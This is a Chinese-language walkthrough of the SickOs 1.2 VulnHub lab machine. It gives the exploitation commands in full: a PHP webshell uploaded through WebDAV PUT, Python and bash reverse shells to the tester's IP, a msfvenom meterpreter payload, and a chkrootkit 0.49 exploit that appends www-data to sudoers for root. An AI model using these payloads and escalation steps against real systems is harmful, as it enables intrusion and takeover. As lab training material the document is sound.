欢迎光临散文网 会员登陆 & 注册

【攻略鸭】SickOs1.2_VulnHub靶机攻略

2022-10-28 21:05 作者:攻略鸭  | 我要投稿

本文内容纯属虚构,B站攻略鸭求关注点赞支持!

测试机IP地址:192.168.0.111

外部信息收集

获取靶机地址

sudo netdiscover -i eth0 -r 192.168.0.1/24

或者

sudo arp-scan -l

记录靶机IP地址:192.168.0.105

端口扫描

Nmap结果:

22/tcp OpenSSH 5.9p1 Debian 5ubuntu1.8

80/tcp lighttpd 1.4.28

网站指纹

$ whatweb http://192.168.0.105/
http://192.168.0.105/ [200 OK] Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.28], IP[192.168.0.105], PHP[5.3.10-1ubuntu3.21], X-Powered-By[**PHP/5.3.10**-1ubuntu3.21], lighttpd[1.4.28]

目录枚举

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.105/FUZZ

结果:test      Status: 301

访问后发现该目录文件列表。

HTTP方法探测

$ curl -v -X OPTIONS http://192.168.0.105/test/
*   Trying 192.168.0.105:80...
*   Connected to 192.168.0.105 (192.168.0.105) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.0.105
> User-Agent: curl/7.85.0
> Accept: */*
* Mark bundle as not supporting multiuse
 < HTTP/1.1 200 OK
 < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

漏洞利用

PUT上传

1.curl上传webshell

上传无害文件测试:

curl -v -X PUT -d "Testing 12" http://192.168.0.105/test/test.txt

上传webshell:

curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell.php -v

若返回201表示上传成功

!!!注意:发现返回417报错。

有个观点是:通过curl命令上传本地文件时,由于curl会先发送一个带Expect头的报文,而Lighttpd不支持这个头,因此无法上传成功。

经验证,以下两种方法都可以:

-H:'Expect:'

-0:默认自动识别HTTP/x.x添加

curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell.php -v -0
curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell2.php -v -H 'Expect:'

2.BurpSuite上传PHP一句话

开启BurpSuite修改GET请求包

PUT /test/2.php HTTP/1.1

<?php system($_GET["cmd"])?>

返回:

HTTP/1.1 201 Created

利用PHP一句话和python反弹shell

http://192.168.0.105/test/2.php?cmd=id
http://192.168.0.105/test/2.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.111",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

!!!注意:反弹shell时测试机端口仅能用443和8080,靶机防火墙仅允许了常见的Web端口。

3.nmap上传reverse shell

修改/usr/share/webshells/php/php-reverse-shell.php配置IP及测试机端口443,上传至靶机。

nmap -p80 192.168.0.105 --script http-put --script-args http-put.url='/test/shell2.php',http-put.file='/home/kali/sickOS/shell2.php'

访问后使用测试机:

nc -nvlp 443
echo $-
python -c 'import pty;pty.spawn("/bin/bash")'

4.MSF

msfvenom -p php/meterpreter/reverse tcp lhost=192.168.0.111 lport=443 >shell.php
curl [http://192.168.0.115/test/](http://192.168.0.105/test/) -T /home/kali/sickOS/shell.php -v
msf:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.111
LHOST => 192.168.0.111
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
meterpreter > shell
python -c 'import pty;pty.spawn("/bin/bash")'

权限提升

本地信息收集

Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux Ubuntu 12.04.4 LTS

查看计划任务:

ls -al /etc/cron*
#m h dom mon dow user command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

/etc/cron.daily中发现chkrootkit

chkrootkit -V
chkrootkit version 0.49

chkrootkit漏洞

搜索漏洞searchsploit chkrootkit -t -w

发现0.49版本存在提权漏洞

漏洞原因:file_port="$file_port $i"处$file_port变量可能为空,缺少引号闭合。

修复建议:file_port="$file_port $i"

漏洞会导致运行chkrootkit时,会以运行chkrootkit的用户的权限执行/tmp/update文件

利用漏洞需要/tmp目录有执行权限。

前面查看过/etc/cron.daily以root权限运行

写入sudoers文件

将www-data用户写入sudoers。

echo 'echo "www-data    ALL=NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
chmod +x /tmp/update

几十秒后发现提权成功。

!!!注意:计划任务配置中看到/etc/cron.daily每天早晨6:25执行,但结合/etc/cron.daily/chkrootkit、/etc/chkrootkit.conf可知/etc/cron.daily/chkrootkit并不会执行,在获取root权限后,查看/etc/cron.d:

cat /etc/cron.d/chkrootkit
* * * * * root /usr/sbin/chkrootkit

看到每分钟执行一次。

反弹root权限shell

$ nc -nvlp 8080 www-data@ubuntu:/tmp$ printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.0.111/8080 0>&1\n' > /tmp/update www-data@ubuntu:/tmp$ cat update #!/bin/bash bash -i >& /dev/tcp/192.168.0.111/8080 0>&1 www-data@ubuntu:/tmp$ chmod +x update

几十秒后发现提权成功。

其他

防火墙规则

root@ubuntu:~# cat newRule
#Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT

过滤规则:

对于入站流量:只接收目的端口22、80,源端口8080、443

对于出站流量:只接收源端口22、80,目的端口8080、443

即:本地端口只允许22和80,外来端口只允许8080和443,用来保证对外部HTTP(s)服务的正常访问

flag

root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

疑问求助

1.求个探测防火墙允许哪些外来端口的脚本;

2.我内核版本提权失败了,可以成功的朋友麻烦留言交流。

本文未经作者同意禁止转载!

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

【攻略鸭】SickOs1.2_VulnHub靶机攻略的评论 (共 条)

分享到微博请遵守国家法律